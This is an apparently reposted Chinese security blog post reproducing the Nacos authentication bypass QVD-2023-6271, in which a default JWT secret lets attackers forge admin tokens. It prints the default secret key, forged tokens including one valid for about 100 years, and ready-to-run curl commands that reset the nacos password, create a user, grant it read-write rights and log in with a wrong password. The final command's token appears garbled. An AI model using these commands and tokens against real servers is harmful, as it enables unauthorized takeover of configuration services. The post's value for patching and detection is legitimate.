Nacos 身份认证绕过漏洞QVD-2023-6271

admin 2023年3月24日23:39:04评论147 views字数 2313阅读7分42秒阅读模式

写在前面

    Nacos几个月前的漏洞,前两周看到cert发的推送,简单复现打卡。

目录

0x01 漏洞原理0x02 影响版本0x03 利用方式0x04 参考

Nacos 身份认证绕过漏洞QVD-2023-6271




漏洞原理

docker 启动 nacos 开启认证并配置NACOS_AUTH_TOKEN时,secret.key并未生效,依然使用默认的key。外部攻击人员可以使用这个默认的key生成nacos用户的jwt认证token,并访问OpenAPI接口,达到权限绕过访问后台资源的目的。默认secretkey:

SecretKey012345678901234567890123456789012345678901234567890123456789

Nacos 身份认证绕过漏洞QVD-2023-6271

影响版本

0.1.0 <= Nacos <= 2.2.0


利用步骤

获取任意一个nacos的accessToken放到jwt.io,修改为默认的secretkey和未来的一个时间戳,可以生成万能accessToken。如下面是一个默认的accessToken

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzIwMH0.2dhqPPzwwmrnekYpxCR1nWooJhnlrJBu0HuNct0JsUQ

放到jwt.io

Nacos 身份认证绕过漏洞QVD-2023-6271

时间戳改为当前时间戳加五个小时(accessToken的时间是过期时间,所以往后加几个小时),密钥改为

SecretKey012345678901234567890123456789012345678901234567890123456789

获取时间戳

Nacos 身份认证绕过漏洞QVD-2023-6271

生成新accesstoken

Nacos 身份认证绕过漏洞QVD-2023-6271

后来突然想到直接时间戳往后面加100年,accesstoken可以一直用,再也不用重新生成

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y

利用一:修改nacos用户密码,密码修改为123456

curl -X PUT "http://10.53.1.3:8082/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y"

Nacos 身份认证绕过漏洞QVD-2023-6271

Nacos 身份认证绕过漏洞QVD-2023-6271

考虑到修改nacos密码可能影响生产,利用二:新建test1用户

curl "http://10.53.1.3:8082/nacos/v1/auth/users"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "username=test1&password=test1"

可以登录但是没有权限

Nacos 身份认证绕过漏洞QVD-2023-6271

将test1用户添加到TEST用户组

curl "http://10.53.1.3:8082/nacos/v1/auth/roles"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "role=TEST&username=test1"

Nacos 身份认证绕过漏洞QVD-2023-6271

Nacos 身份认证绕过漏洞QVD-2023-6271

给与TEST用户组读写public权限

curl "http://10.53.1.3:8082/nacos/v1/auth/permissions"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0.eef_LB3VnFEp9TQ6MyR4S_-JwkSv88ZXeCzhSZQzg6Y" -d "role=TEST&resource=%3A%2A%3A%2A&action=rw"

Nacos 身份认证绕过漏洞QVD-2023-6271

Nacos 身份认证绕过漏洞QVD-2023-6271

利用三:利用accesstoken登录,密码错误也可以直接登录。最推荐的利用方式

curl "http://10.53.1.3:8082/nacos/v1/auth/users/login"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDgzNDYwODc3OH0XeCzhSZQzg6Y" -d "username=nacos&password=1"

Nacos 身份认证绕过漏洞QVD-2023-6271

抓包放包即可

Nacos 身份认证绕过漏洞QVD-2023-6271

参考

https://zhuanlan.zhihu.com/p/602021283




写在最后

     本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

原文始发于微信公众号(云下信安):Nacos 身份认证绕过漏洞QVD-2023-6271

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月24日23:39:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos 身份认证绕过漏洞QVD-2023-6271https://cn-sec.com/archives/1627453.html

发表评论

匿名网友 填写信息